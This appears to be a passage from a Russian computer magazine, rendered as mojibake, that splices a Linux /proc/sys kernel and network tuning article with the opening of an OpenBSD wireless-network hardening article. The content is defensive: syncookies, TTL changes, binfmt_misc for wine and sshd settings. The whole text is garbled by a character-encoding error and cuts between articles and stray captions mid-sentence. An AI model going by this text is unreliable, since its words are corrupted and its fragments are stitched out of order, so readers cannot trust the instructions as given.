ðàñøèðåíèþ core áóäåò ïðèáàâëÿòüñÿ åùå è PID ïðîöåññà. Óäîáíî, åñëè
òðåáóåòñÿ îòëàæèâàòü íåñêîëüêî ýêçåìïëÿðîâ ïðîöåññà ðàçäåëüíî.
Â ÿäðå Linux ïðèñóòñòâóåò òàêîå ïîíÿòèå, êàê «èñïîð÷åííîñòü». Îíî âû-
ðàæàåòñÿ â ÷èñëå, êîòîðîå íàõîäèòñÿ â ôàéëå /proc/sys/kernel/tainted. Åñ-
ëè áûë çàãðóæåí ìîäóëü ñ ëèöåíçèåé íå ñîâìåñòèìîé ñ GPL, òî ÷èñëî
ïðèìåò âèä åäèíèöû. Äâîéêà îçíà÷àåò, ÷òî êàêîé-òî ìîäóëü çàãðóçèëè
ïðèíóäèòåëüíî (insmod -f). È ÷åòûðå, åñëè â ìíîãîïðîöåññîðíîé ñèñòå-
ìå èñïîëüçóþòñÿ ïðîöåññîðû, íå ïðåäíàçíà÷åííûå äëÿ ýòîãî.

[çàêèäûâàåì ñåòè] Ñåòåâûõ îïöèé â Linux íå ïðîñòî ìíîãî, à î÷åíü
ìíîãî (ñêàçûâàåòñÿ ñåðâåðíàÿ èñòîðèÿ ÎÑ). Ïîýòîìó ÿ íå áóäó ðàññìàòðè-
âàòü âñå íàñòðîéêè, à îñòàíîâëþñü òîëüêî íà ñàìûõ âàæíûõ è ïîëåçíûõ.
Îñíîâíûå êàòàëîãè, íà êîòîðûå ñëåäóåò îáðàòèòü âíèìàíèå:
/proc/sys/net/core � íàñòðîéêè ñåòåâîãî ñòåêà, /proc/sys/net/ipv4 � íàñòðîéêè
ïðîòîêîëà TCP/IP, /proc/sys/net/ipv4/conf � íàñòðîéêè ñåòåâûõ èíòåðôåéñîâ.
Ôàéëû êàòàëîãà /proc/sys/net/core ëó÷øå âîîáùå íå òðîãàòü, ÷òîáû íè÷å-
ãî íå èñïîðòèòü. Íî åñëè â òâîåì ðàñïîðÿæåíèè íàõîäèòñÿ íàãðóæåííûé
ñåðâåð, òî ðåêîìåíäóåòñÿ óâåëè÷èòü ðàçìåð âõîäíûõ è âûõîäíûõ áóôå-
ðîâ äî 1 Ìá ïóòåì çàïèñè ÷èñëà 1048576 â ôàéëû rmem_default,
rmem_max, wmem_default è wmem_max.
Ãðàìîòíûé òþíèíã ñòåêà TCP/IP ìîæåò ïîäíÿòü ïðîèçâîäèòåëüíîñòü è çà-
ùèòèòü îò íåêîòîðûõ âèäîâ ñåòåâûõ àòàê. Äëÿ íà÷àëà óêàæåì ÿäðó íå îò-
âå÷àòü íà øèðîêîâåùàòåëüíûå ping'è, ÷òîáû íàø õîñò íå ìîãëè èñïîëüçî-
âàòü äëÿ DDOS-àòàê. Äëÿ ýòîãî çàïèøåì â ôàéë icmp_echo_ignore_broad-
casts åäèíèöó. Òåïåðü çàùèòèìñÿ îò syn-flood àòàê ïóòåì âêëþ÷åíèÿ îï-
öèè (åäèíèöà) tcp_syncookies. Åñëè òâîÿ ìàøèíà íå èñïîëüçóåòñÿ êàê
ìàðøðóòèçàòîð, òî ìîæåøü îòêëþ÷èòü òàêæå è îïöèþ ip_forward.
Ïîïûòàåìñÿ îáìàíóòü ïðîãðàììû òàêèå, êàê nmap, êîòîðûå óìåþò îïðå-
äåëÿòü ÎÑ ïî ñâîéñòâàì ñåòåâîãî ñòåêà. Äëÿ ýòîãî èçìåíèì äåôîëòíîå
(64) çíà÷åíèå TTL è çàïèøåì â ôàéë ip_default_ttl ÷èñëî 128. Òåïåðü
íåìíîãî îïòèìèçàöèé. Óìåíüøèì ÷èñëî ïîïûòîê ïîääåðæàòü ñîåäèíå-
íèå è çàïèøåì â tcp_keepalive_probes öèôðó äâà. Óìåíüøèì ÷àñòîòó ïî-
ñûëêè ïàêåòîâ î ïîääåðæàíèè ñîåäèíåíèÿ äî 30 ìèíóò (ïî óìîë÷àíèþ 2
÷àñà), çàïèøåì 1800 â tcp_keepalive_time. Îòêëþ÷èì òàê íàçûâàåìûé
window scaling ÷åðåç ôàéë tcp_window_scaling. Óìåíüøèì âðåìÿ îæèäà-
íèÿ FIN ïàêåòà äî ïîëíîãî çàêðûòèÿ ñîåäèíåíèÿ (tcp_fin_timeout=30).
Òàêæå ìîæíî îòêëþ÷èòü îïöèè tcp_sack, tcp_timestamps è äëÿ íàãðóæåí-

# echo linuxoid > /proc/sys/kernel/hostname
# cat /proc/sys/kernel/hostname
linuxoid

Êàê âèäèøü, âñå î÷åíü ïðîñòî è ïîíÿòíî. À òåïåðü âûïîëíèì òîæå ñà-
ìîå, íî èñïîëüçóÿ óòèëèòó sysctl:

# sysctl kernel.hostname
kernel.hostname = localhost
# sysctl -w kernel.hostname=linuxoid
kernel.hostname = linuxoid

Íàâåðíîå, òû çàìåòèë, ÷òî èìÿ ïåðåìåííîé � ýòî âñåãî ëèøü èìÿ ôàéëà
áåç ïðåôèêñà /proc/sys è ñ òî÷êîé âìåñòî ñèìâîëà '/'.
Äëÿ áîëüøåãî óäîáñòâà ñóùåñòâóåò êîíôèã /etc/sysctl.conf, ãäå òû ìîæåøü
ïðîïèñàòü ëþáûå äîñòóïíûå ïåðåìåííûå è èõ çíà÷åíèÿ. Òåïåðü òåáå íå
íàäî çàáîòèòüñÿ î òîì, ÷òî íàñòðîéêè ïðîïàäóò ïîñëå ïåðåçàãðóçêè.

[ìèð ÿäðà] Èçìåíåíèå íàñòðîåê ÿäðà � ìåðà íå âñåãäà îïðàâäàííàÿ,
íî â íåêîòîðûõ ñëó÷àÿõ âñå-òàêè ïîëåçíàÿ. Ïîýòîìó ìû âíèìàòåëüíî
ðàññìîòðèì êàòàëîã /proc/sys/kernel.
Â êàòàëîãå /proc/sys/kernel ìîæíî íàéòè òðè ôàéëà, íå äîñòóïíûõ äëÿ çà-
ïèñè: ostype, osrelease è version. Ñîäåðæèìîå èõ òàêîâî: òèï ÎÑ (ðàçó-
ìååòñÿ, âñåãäà Linux), âåðñèÿ ÿäðà (íàïðèìåð, 2.6.11) è âðåìÿ ñáîðêè ÿä-
ðà, ïðè÷åì ïåðâîå ÷èñëî ñòðîêè óêàçûâàåò íà ÷èñëî ñáîðîê èç îäíîãî
äåðåâà èñõîäíèêîâ. ×åñòíî ãîâîðÿ, ÿ òàê è íå ïîíÿë, çà÷åì íóæíû ýòè
ôàéëû ïðè æèâîì /proc/version.
Åùå äâà ôàéëà, áðîñàþùèåñÿ â ãëàçà: hostname è domainname. Êàê ìîæíî
äîãàäàòüñÿ, îòîáðàæàþò ñåòåâîå èìÿ è äîìåí ìàøèíû è, â îòëè÷èå îò ïðå-
äûäóùèõ, äîñòóïíû äëÿ çàïèñè. Ïðèìåð èõ èñïîëüçîâàíèÿ ÿ ïðèâîäèë âûøå.
ß íàäåþñü, òû â êóðñå, ÷òî ïðîèñõîäèò ñ ñèñòåìîé, êîãäà òû íàæèìàåøü
êîìáèíàöèþ èç òðåõ êëàâèø <Ctrl-Alt-Del>? Íà ñàìîì äåëå ïðîèñõîäèò áà-
íàëüíàÿ âåùü: ÿäðî ïåðåâîäèò ïðîöåññ init â ðåæèì 6, ÷òî ïðèâîäèò ê ïåðå-
çàãðóçêå ñ êîððåêòíûì çàâåðøåíèåì âñåõ ñåðâèñîâ. Òàêîé ýôôåêò áóäåò
ïðîèñõîäèòü ïðè êàæäîì íàæàòèè âîëøåáíîé êîìáèíàöèè, ïîêà â ôàéëå
/proc/sys/kernel/ctrl-alt-del íàõîäèòñÿ çíà÷åíèå íîëü. Åñëè æå ïîìåñòèòü â
ýòîò ôàéë ÷èñëî, ïðåâûøàþùåå íîëü, òî ÿäðî áóäåò íåìåäëåííî îòïðàâ-
ëÿòü ÏÊ â ïåðåçàãðóçêó (áåç âûçîâà init, ñèíõðîíèçàöèè áóôåðîâ è ò.ä.).
Äëÿ çàãðóçêè ìîäóëåé «íà ëåòó» ÿäðî èñïîëüçóåò ñòàíäàðòíóþ ïðîãðàì-
ìó /sbin/modprobe. Â ýòîì ìîæíî óáåäèòüñÿ, çàãëÿíóâ â ôàéë
/proc/sys/kernel/modprobe. Åñëè êîìàíäà modprobe íàõîäèòñÿ ãäå-òî â
äðóãîì ìåñòå èëè íîñèò äðóãîå èìÿ, îá ýòîì ìîæíî îïîâåñòèòü ñèñòåìó,
çàïèñàâ â ýòîò ôàéë èçìåíåííîå çíà÷åíèå.
Ïîäîáíóþ ôóíêöèþ âûïîëíÿåò ôàéë /proc/sys/kernel/hotplug. Ïðîãðàììà,
èìÿ êîòîðîé çàïèñàíî â ýòîò ôàéë, áóäåò çàïóñêàòüñÿ êàæäûé ðàç ïðè
ïîäêëþ÷åíèè ê ÏÊ íîâîãî hotplug-óñòðîéñòâà. Òû ìîæåøü çàïèñàòü â íåãî
/bin/true, åñëè â ñèñòåìå íå ïðåäóñìîòðåíî ïîäêëþ÷åíèå òàêèõ äåâàéñîâ.
Íà àðõèòåêòóðå i386 ìàêñèìàëüíûé UID è GID ðàâåí 65535 (16 ðàçðÿäîâ).
Â ñëó÷àå, åñëè áóäåò çàäàí èäåíòèôèêàòîð, ïðåâîñõîäÿùèé ýòî ÷èñëî, ÿä-
ðî ñàìî âûñòàâèò äåôîëòíîå çíà÷åíèå, êîòîðîå çàïèñàíî â ôàéëàõ
/proc/sys/kernel/overflowuid è /proc/sys/kernel/overflowgid. Ïî óìîë÷àíèþ â
îáîèõ ôàéëàõ íàõîäèòñÿ ÷èñëî 65534, è íåò îñîáîãî ñìûñëà åãî èçìåíÿòü.
Åñëè ÿäðî ïîääåðæèâàåò ìåæïðîöåññíûå êîììóíèêàöèè SystemV (îïöèÿ
General setup ! System V IPC), òî êàòàëîã /proc/sys/kernel áóäåò ñîäåð-
æàòü åùå ñåìü äîïîëíèòåëüíûõ ôàéëîâ: sem, msgmax, msgmnb, msgmni,
shmall, shmmax, shmmni. Âîîáùå ãîâîðÿ, SystemV IPC ñòàëà ñàìîé áåñ-
ïîëåçíîé îñîáåííîñòüþ îðèãèíàëüíîãî UNIX, ïåðåíåñåííîé â Linux. Â
íàñòîÿùåå âðåìÿ èç òðåõ âèäîâ êîììóíèêàöèé èñïîëüçóåòñÿ òîëüêî ñîâ-
ìåñòíî èñïîëüçóåìàÿ ïàìÿòü, óïðàâëåíèå êîòîðîé ïðîèñõîäèò ÷åðåç
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íîãî ñåðâåðà èçìåíèòü äèàïàçîí äîñòóïíûõ ëîêàëüíûõ ïîðòîâ, çàïèñàâ
â ôàéë ip_local_port_range ïîñëåäîâàòåëüíîñòü 16384 61000.
Â /proc/sys/net/ipv4/conf íàõîäèòñÿ íåñêîëüêî êàòàëîãîâ, îáëàäàþùèõ
èìåíàìè ñåòåâûõ èíòåðôåéñîâ. Íàïîëíåíèå èõ àáñîëþòíî èäåíòè÷íî.
Ñðåäè êàòàëîãîâ ìîæíî íàéòè ñïåöèàëüíûé êàòàëîã all, èçìåíåíèÿ â êî-
òîðîì îòðàçÿòñÿ íà âñåõ èíòåðôåéñàõ. Íî èçìåíÿòü òóò, ñîáñòâåííî, íå-
÷åãî. Ïðîñòî îòêëþ÷èì ôîðâàðäèíã ïàêåòîâ (åñëè òîëüêî òâîé ÏÊ íå
ìàðøðóòèçàòîð). Äëÿ ýòîãî çàïèøåì â ôàéë forwarding íîëü. À òàêæå
âêëþ÷èì æóðíàëèðîâàíèå âñåõ ïàêåòîâ ñ íåèçâåñòíûì îáðàòíûì àäðå-
ñîì (log_martians=1). Êàê òû, íàâåðíîå, óæå äîãàäàëñÿ, åñëè îáðàòíûé
àäðåñ íåèçâåñòåí, òî ýòî çíà÷èò, ÷òî îí ïîäìåíåí.

[ôàéëû ðóêàìè íå òðîãàòü] Íàñòðîéêè ôàéëîâûõ ñèñòåì õðàíÿòñÿ
â êàòàëîãå /proc/sys/fs. Íåîáõîäèìîñòü â ïðàâêå ôàéëîâ ýòîãî êàòàëîãà
âîçíèêàåò î÷åíü ðåäêî, íî äëÿ ïîëíîòû êàðòèíû ìû âñå-òàêè ðàññìîò-
ðèì íåêîòîðûå åãî ýëåìåíòû.
Íàâåðíîå, åäèíñòâåííîå, ÷òî òåáå ïðèäåòñÿ êîãäà-ëèáî èçìåíÿòü, � ýòî
ìàêñèìàëüíîå êîëè÷åñòâî îäíîâðåìåííî îòêðûòûõ ôàéëîâ. Äåëàåòñÿ
ýòî ïóòåì çàïèñè çíà÷åíèÿ â ôàéë file-max. Åñëè ó òåáÿ íåò íàãðóæåííî-
ãî âåá-ñåðâåðà èëè áàçû äàííûõ, òî èçìåíÿòü äåôîëòíîå çíà÷åíèå íå
èìååò íèêàêîãî ñìûñëà. Êîëè÷åñòâî îòêðûòûõ â òåêóùèé ìîìåíò ôàé-
ëîâ ìîæíî óçíàòü èç ôàéëà file-nr, îí ñîäåðæèò òðè ÷èñëà: ÷èñëî îòêðû-
òûõ ôàéëîâ, íîëü (âñåãäà íîëü â ÿäðàõ âåòêè 2.6) è çíà÷åíèå èç ôàéëà
file-max. Ó ìåíÿ, íàïðèìåð, ýòîò ôàéë ñîäåðæèò 575 0 12408.
Ñêîìïèëèðîâàâ ÿäðî ñ îïöèåé Executable file formats ! Kernel support for
MISC binaries, òû ïîëó÷èøü èíòåðåñíóþ âîçìîæíîñòü îáó÷àòü ÿäðî ðàçëè÷-

íûì ôîðìàòàì èñïîëíÿåìûõ ôàéëîâ. Íà óðîâíå òåîðèè òåõíîëîãèÿ î÷åíü
ïðîñòà. Ìû ïðîñòî óêàçûâàåì ÿäðó, ÷òî, íàïðèìåð, ôàéëû ñ ðàñøèðåíèåì
.exe ñëåäóåò çàïóñêàòü ïðè ïîìîùè wine. Òåïåðü, åñëè òû íàïèøåøü:

$ ./file.exe

Òî ÿäðî âûïîëíèò êîìàíäó wine file.exe, è áèíàðíèê óñïåøíî çàïóñòèòñÿ.
Íåïðàâäà ëè, óäîáíî? Ðàññìîòðèì, êàê ýòî âûãëÿäèò íà ïðàêòèêå. Ñíà-
÷àëà ïðèìîíòèðóåì âèðòóàëüíóþ ÔÑ binfmt_misc:

# mount binfmt_misc -t binfmt_misc /proc/sys/fs/binfmt_misc

Òåïåðü çàïèøåì â ôàéë /proc/sys/fs/binfmt_misc/register èíôîðìàöèþ î
ôàéëå è èíòåðïðåòàòîðå â òàêîì ôîðìàòå: «':èìÿ:òèï:ñìåùåíèå:ìàãè-
÷åñêîå_÷èñëî:ìàñêà:ïóòü_äî_èíòåðïðåòàòîðà:». Åñëè ïîëå «òèï» ðàâíî
M, òî òèï ôàéëà âû÷èñëÿåòñÿ ïî ìàãè÷åñêîìó ÷èñëó, ëåæàùåìó ïî çàäàí-
íîìó ñìåùåíèþ âíóòðè áèíàðíèêà. Íàïðîòèâ, åñëè «òèï» ðàâåí E, òî òèï
ôàéëà âû÷èñëÿåòñÿ ïî ðàñøèðåíèþ, çàïèñàííîìó â ïîëå «ìàãè÷åñ-
êîå_÷èñëî». Ïîëå «èìÿ» � ýòî âñåãî ëèøü èäåíòèôèêàòîð, à ïîëå «ìàñ-
êà» îáû÷íî ïðîïóñêàåòñÿ. Çíàÿ âñå âûøåïåðå÷èñëåííîå, âûïîëíÿåì êî-
ìàíäó:

# echo ':EXE:E::exe::/usr/bin/wine:' > /proc/sys/fs/binfmt_misc/register

Âñå, òåïåðü ìîæåøü ïîïðîáîâàòü, òâîè ýêçåøíèêè áóäóò çàïóñêàòüñÿ.

[ðàçâèâàé ïàìÿòü] Èçìåíÿÿ ôàéëû êàòàëîãà /proc/sys/vm, ìîæíî
âëèÿòü íà ðàáîòó ïîäñèñòåìû âèðòóàëüíîé ïàìÿòè. Â íåêîòîðûõ ñëó÷àÿõ
ýòî äåéñòâèå îêàçûâàåòñÿ äîâîëüíî ïîëåçíûì. Åñòü âåðîÿòíîñòü ïîâû-
ñèòü îòêëèê ñèñòåìû.
Â ÿäðàõ âåòêè 2.4 áûëà ïðåäóñìîòðåíà âîçìîæíîñòü èçìåíÿòü ìíîæåñòâî
ðàçëè÷íûõ ïàðàìåòðîâ ïîäñèñòåìû âèðòóàëüíîé ïàìÿòè. ßäðà 2.6 ñòàëè
áîëåå èíòåëëåêòóàëüíûìè, è òåïåðü íåò íåîáõîäèìîñòè â ðó÷íîì òþíèí-
ãå áîëüøèíñòâà ïàðàìåòðîâ. Çàòî áûë îñòàâëåí èíòåðôåéñ óïðàâëåíèÿ
äåìîíîì bdflush, êîòîðûé êîíòðîëèðóåò ïðîöåññ çàïèñè «ãðÿçíûõ» áóôå-
ðîâ íà äèñê. Âñå åãî êîíôèãè ðàñïîëàãàþòñÿ â íåñêîëüêèõ ôàéëàõ ñ ïðå-
ôèêñîì dirty. Ôàéë dirty_background_ratio îòðàæàåò êîëè÷åñòâî «ãðÿçíûõ»
ñòðàíèö ïàìÿòè (â ïðîöåíòàõ îò îáùåãî êîëè÷åñòâà ïàìÿòè), ïðè íàêîïëå-
íèè êîòîðûõ bdflush äîëæåí íà÷àòü çàïèñü íà äèñê. Êàæäûé ïðîöåññ ìî-
æåò ñàì, áåç ó÷àñòèÿ bdflush, çàïèñûâàòü äàííûå îáðàòíî íà äèñê. Ôàéë
dirty_ratio îòðàæàåò êîëè÷åñòâî ñòðàíèö, ïðè íàêîïëåíèè êîòîðûõ ïðîöåññ
ñàì äîëæåí íà÷àòü çàïèñü íà äèñê. Èíòåðâàë ìåæäó ïðîñûïàíèÿìè äåìî-
íà bdflush ìîæíî èçìåíèòü ÷åðåç ôàéë dirty_writeback_centisecs (çíà÷åíèå
â ñîòûõ äîëÿõ ñåêóíäû). Âðåìÿ «ñòàðåíèÿ» ñàìèõ áóôåðîâ êîíòðîëèðóåò-
ñÿ ÷åðåç ôàéë dirty_expire_centisecs (îïÿòü æå â ñîòûõ äîëÿõ ñåêóíäû).
Óâåëè÷èâ çíà÷åíèÿ â ôàéëàõ dirty_background_ratio è dirty_expire_cen-
tisecs, ìû ìîæåì äîáèòüñÿ òîãî, ÷òî çàïèñü «ãðÿçíûõ» áóôåðîâ íà äèñê
áóäåò ïðîèñõîäèòü ðåæå, ÷òî ïîâûñèò ñêîðîñòü ðåàêöèè ñèñòåìû, íî ñàìà
çàïèñü áóäåò ïðîèñõîäèòü äîëüøå. È íàîáîðîò, áîëåå íèçêèå çíà÷åíèÿ â
dirty_background_ratio, dirty_writeback_centisecs, dirty_expire_centisecs ïîç-
âîëÿò ÎÑ áîëåå ðàâíîìåðíî ðàñïðåäåëÿòü îïåðàöèè çàïèñè íà äèñê.

[íèùåòà /proc/sys/dev] Íà äàííûé ìîìåíò åäèíñòâåííûì óñòðîéñòâîì,
êîòîðûì ìîæíî óïðàâëÿòü ÷åðåç /proc/sys/dev, ÿâëÿåòñÿ CD-ROM. Âñå íàñò-
ðîéêè õðàíÿòñÿ, ñîîòâåòñòâåííî, â êàòàëîãå cdrom. Ïðè÷åì ôàéë info íå äîñ-
òóïåí äëÿ çàïèñè è ïðåäíàçíà÷åí äëÿ ïîëó÷åíèÿ ïàðàìåòðîâ ïðèâîäà. Îñ-
òàëüíûå ôàéëû ïîçâîëÿþò êîíòðîëèðîâàòü ïîâåäåíèå ñèñòåìû ïî îòíîøå-
íèþ ê CD-ROM. Íàïðèìåð, çàïèñàâ â ôàéë lock íîëü, òû ïîëó÷èøü âîçìîæ-

íîñòü îòêðûâàòü ëîòîê â òî
âðåìÿ, êîãäà ôàéëîâàÿ ñèñ-
òåìà äèñêà ñìîíòèðîâàíà.
Êàê ñàì ïîíèìàåøü, ïîâåäå-
íèå ñèñòåìû â ýòîì ñëó÷àå
íåïðåäñêàçóåìî, è ÿ íå ðåêî-
ìåíäóþ ýòîãî äåëàòü. Çàòî
èçìåíåíèå ôàéëîâ autoclose
è autoeject ìîæåò îêàçàòüñÿ
äîâîëüíî ïîëåçíûì. Åñëè òû
çàïèøåøü åäèíèöó â ïåðâûé,
òî ÎÑ áóäåò ñàìà çàêðûâàòü
ëîòîê ïðè ìîíòèðîâàíèè äèñ-
êà, åäèíèöà äëÿ âòîðîãî îç-
íà÷àåò àâòîìàòè÷åñêîå îòê-
ðûòèå ëîòêà ïðè ðàçìîíòèðî-
âàíèè. Íà ìîé âçãëÿä, âêëþ-
÷åíèå îáåèõ îïöèé áóäåò
õîðîøåé èäååé[X
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ïðàâèì /etc/sysctl.conf

ïðèìåð ðàáîòû ñèñòåìû binfmt_misc

âîò òàê âûãëÿäèò èíôîðìàöèÿ î CD-ROM
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ÍÅ ÒÐÓÄÍÎ ÏÐÅÄÑÒÀÂÈÒÜ, ÊÀÊÎÉ ÓÐÎÍ ÌÎ-
ÆÅÒ ÍÀÍÅÑÒÈ ÏÐÎÍÈÊÍÎÂÅÍÈÅ ÇËÎÓÌÛØ-
ËÅÍÍÈÊÀ Â ÍÅÇÀÙÈÙÅÍÍÓÞ ÁÅÑÏÐÎÂÎÄÍÓÞ
ÑÅÒÜ. È ÑÎÂÑÅÌ ÍÅ ÂÀÆÍÎ, ÏÐÈÍÀÄËÅÆÈÒ
ÝÒÎÒ ÑÅÃÌÅÍÒ ÊÐÓÏÍÎÉ ÊÎÌÏÀÍÈÈ, ÓÍÈÂÅÐ-
ÑÈÒÅÒÑÊÎÌÓ ÊÀÌÏÓÑÓ ÈËÈ ÐßÄÎÂÎÌÓ ÏÎËÜ-
ÇÎÂÀÒÅËÞ � ÏÎÑËÅÄÑÒÂÈß ÌÎÃÓÒ ÁÛÒÜ
ÊÀÒÀÑÒÐÎÔÈ×ÅÑÊÈÌÈ. ÂÛÕÎÄ ÎÄÈÍ: ÈÑÊËÞ-
×ÈÒÜ ÂÅÐÎßÒÍÎÑÒÜ ÍÅÑÀÍÊÖÈÎÍÈÐÎÂÀÍÍÎ-
ÃÎ ÄÎÑÒÓÏÀ È ÓÒÅ×ÊÈ ÊÎÍÔÈÄÅÍÖÈÀËÜÍÎÉ
ÈÍÔÎÐÌÀÖÈÈ, ÎÁÅÑÏÅ÷ÈÂ ÍÀÄÅÆÍÓÞ È ÎÄ-
ÍÎÂÐÅÌÅÍÍÎ ÃÈÁÊÓÞ ÇÀÙÈÒÓ. ÍÎ ÊÀÊ ÝÒÎ
ÑÄÅËÀÒÜ, ÊÎÃÄÀ ÊÐÈÏÒÎÃÐÀÔÈ×ÅÑÊÎÉ ÑËÀ-
ÁÎÑÒÜÞ WEP ÌÎÆÅÒ ÂÎÑÏÎËÜÇÎÂÀÒÜÑß ËÞ-
ÁÎÉ ÆÅËÀÞÙÈÉ, ÍÎÂÛÅ ÌÅÕÀÍÈÇÌÛ ÁÅÇÎ-
ÏÀÑÍÎÑÒÈ WPA/WPA2 ÏÎÊÀ ÍÅ ÏÎËÓ×ÈËÈ
ØÈÐÎÊÎÃÎ ÐÀÑÏÐÎÑÒÐÀÍÅÍÈß, À ÑÒÎÈ-
ÌÎÑÒÜ ÀÏÏÀÐÀÒÍÛÕ VPN-ÐÅØÅÍÈÉ ÑÒÐÅÌÈÒÑß
Ê ÁÅÑÊÎÍÅ×ÍÎÑÒÈ | Andrey Matveev (andrushock@real.xakep.ru)
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[ðîëü øèïàñòîé ðûáêè â ñïàñåíèè óòîïàþùèõ] Â íàñòîÿùåå
âðåìÿ âñå áîëüøå è áîëüøå ìîäåëåé íîóòáóêîâ è ÊÏÊ îñíàùàþòñÿ áåñï-
ðîâîäíûìè ñåòåâûìè àäàïòåðàìè ñòàíäàðòà IEEE 802.11. Êàçàëîñü áû, 
î òàêîì ðàçâèòèè ñîáûòèé ìîæíî òîëüêî ìå÷òàòü. Îäíàêî ó ýòîé òåíäåí-
öèè åñòü è îáîðîòíàÿ ñòîðîíà � óäîáñòâî è ìîáèëüíîñòü ïëàíîìåðíî
îòîäâèãàþò âîïðîñû áåçîïàñíîñòè íà âòîðîé ïëàí. Ñóùåñòâóþùàÿ ïðîá-
ëåìà ñòîèò íàñòîëüêî îñòðî, ÷òî ìîæåò ñåðüåçíî çàòîðìîçèòü òðèóìôàëü-
íîå øåñòâèå öèôðîâûõ òåõíîëîãèé â öåëîì. Ýòî ïðåêðàñíî ïîíèìàëè ðàç-
ðàáîò÷èêè OpenBSD, ñîçäàâàÿ èíñòðóìåíòàëüíóþ ñâÿçêó authpf, isakmpd,
openssh è pf, êîòîðàÿ ïîçâîëÿåò íå òîëüêî âûïîëíÿòü êðèïòîñòîéêîå øèô-
ðîâàíèå ïåðåäàâàåìûõ äàííûõ, íî è ïðîâîäèòü àóòåíòèôèêàöèþ êëèåíòà
ñ ïîìîùüþ ïàðîëÿ, ëèáî íà áàçå ïóáëè÷íîãî êëþ÷à.

[brainstorm: îñîáåííîñòè ôîðòèôèêàöèè] Ðàññìîòðèì âàðèàíò,
êîãäà ôóíêöèè øëþçà, îáúåäèíÿþùåãî ïðîâîäíîé è áåñïðîâîäíîé
ó÷àñòêè ñåòè, âûïîëíÿåò êîìïüþòåð ïîä óïðàâëåíèåì OpenBSD 3.8. Ïî-
ìèìî íýéòèâíîé ïîääåðæêè âûøåïåðå÷èñëåííûõ ïðîãðàììíûõ ñðåäñòâ,
â ïîëüçó ñäåëàííîãî âûáîðà ãîâîðèò è òîò ôàêò, ÷òî ðåàëèçàöèÿ IPSec
êàê â ÿäðå îïåðàöèîííîé ñèñòåìû, òàê è â ïðîñòðàíñòâå ïîëüçîâàòåëÿ
âûïîëíåíà (áåç ïðåóâåëè÷åíèÿ) íà âûñî÷àéøåì óðîâíå. Ñïåøó óñïîêî-
èòü ïðîòèâíèêîâ îïåíêà � íàñòðîéêà FreeBSD, NetBSD è DragonflyBSD
áóäåò îòëè÷àòüñÿ ìèíèìàëüíî.

[ LAN ]----------(fxp0)
\
[ GATEWAY ]-(fxp1)-------[ ISP ]--

/
[ LAPTOP ] � - � (ral0)

Â ïðèâåäåííîì ñöåíàðèè ral0 � ýòî ñåòåâîé èíòåðôåéñ, çàêðåïëåííûé
çà PCI'íîé êàðòî÷êîé Gigabyte GN-WPKG 802.11 b/g (~25$) è îñóùåñòâëÿ-
þùèé ðàáîòó ïî ñïåöèôèêàöèè 802.11g (mode 11g) íà 11-îì ÷àñòîòíîì
êàíàëå (chan 11) â ðåæèìå òî÷êè äîñòóïà (mediaopt hostap) ñ óíèêàëü-
íûì èäåíòèôèêàòîðîì ñåòè (nwid wlan):

# vi /etc/hostname.ral0
inet 192.168.2.1 255.255.255.0 NONE media autoselect mode 11g \

mediaopt hostap nwid wlan chan 11

Ïðåäëàãàþ äåéñòâîâàòü ñëåäóþùèì îáðàçîì: åñëè ó áåñïðîâîäíîãî
êëèåíòà (òåñòèðîâàíèå ïðîâîäèëîñü íà íîóòå ñ WinXP SP2) ñîîòâåòñòâó-
þùèì îáðàçîì íàñòðîåíà ïîëèòèêà IPSec, âåñü âíóòðåííèé òðàôèê áó-
äåò øèôðîâàòüñÿ çàñ÷åò îðãàíèçàöèè IPSec-òóííåëÿ ñ àóòåíòèôèêàöèåé
íà îñíîâå ïàðîëüíîé ôðàçû («preshared key» ñòàíåì íàçûâàòü èìåííî
òàê, ÷òîáû èçáåæàòü ïóòàíèöû ñ äðóãèìè êëþ÷àìè); êàê òîëüêî ñî ñòîðî-
íû ïîëüçîâàòåëÿ áóäåò ïðîâåäåíà àóòåíòèôèêàöèÿ ñ ïîìîùüþ ssh-êëè-
åíòà, íà øëþçå àâòîìàòè÷åñêè âñòóïÿò â ñèëó ïåðñîíàëüíûå ïðàâèëà
ôàéðâîëà, è þçåð, â çàâèñèìîñòè îò ïðèâèëåãèé, ïîëó÷èò ïîëíûé èëè
îãðàíè÷åííûé äîñòóï â Ñåòü.

[openssh: ïåðâûé áëîêïîñò] Íåñìîòðÿ íà òî, ÷òî áåñïëàòíî ðàñï-
ðîñòðàíÿåìûé ïàêåò OpenSSH íà ïðîòÿæåíèè ïîñëåäíèõ ëåò óñïåøíî
ñïðàâëÿåòñÿ ñ çàäà÷åé ïðåäîñòàâëåíèÿ çàùèùåííîãî äîñòóïà ê óäàëåí-

ñïèñîê äîñòóïíûõ ñåòåâûõ èíòåðôåéñîâ

Ñîâåðøåííàÿ çàùèòà
áåñïðîâîäíîé ñåòè



íûì êîìïüþòåðàì, â íàñòðîéêàõ ïî óìîë÷àíèþ
îí íå ñïîñîáåí îáåñïå÷èòü íåîáõîäèìûé óðî-
âåíü áåçîïàñíîñòè. ×òîáû óñëîæíèòü õàéäæå-
êåðó ïðîâåäåíèå ñåòåâîé àòàêè ñ öåëüþ ïåðåõ-
âàòà è ïîäìåíû ssh-ñåññèè, òðåáóåòñÿ ïåðåîï-
ðåäåëèòü íåêîòîðûå äåôîëòíûå çíà÷åíèÿ ïå-
ðåìåííûõ sshd(8). Çàñ÷åò èñïîëüçîâàíèÿ ýòèõ
íàñòðîåê ìû áóäåì óâåðåíû, ÷òî êàê òîëüêî
îáîëî÷êà ïîëó÷èò ñîîòâåòñòâóþùèé ñèãíàë,
ssh-ñåññèÿ àóòåíòèôèöèðîâàííîãî ïîëüçîâàòå-
ëÿ çàâåðøèòñÿ äîëæíûì îáðàçîì, è íå ïðîè-
çîéäåò ñîõðàíåíèå ñîñòîÿíèÿ ñîåäèíåíèé â
òàáëèöå çàïèñåé ôàéðâîëà.

# vi /etc/ssh/sshd_config

/* Ðàáîòà ïî ïðîòîêîëó SSH2 îáÿçàòåëüíà */
Protocol 2
/* Ìû íå áóäåì èñïîëüçîâàòü IPv6 */
AddressFamily inet
/* Îæèäàåì ïîäêëþ÷åíèÿ ïî áåñïðîâîäíîìó
ñåòåâîìó èíòåðôåéñó */
ListenAddress 192.168.2.1
/* Çàïðåùàåì ðåãèñòðàöèþ ñóïåðïîëüçîâàòå-
ëÿ */
PermitRootLogin no
/* Çà ñ÷åò èñïîëüçîâàíèÿ SSH2 è ýòèõ äâóõ
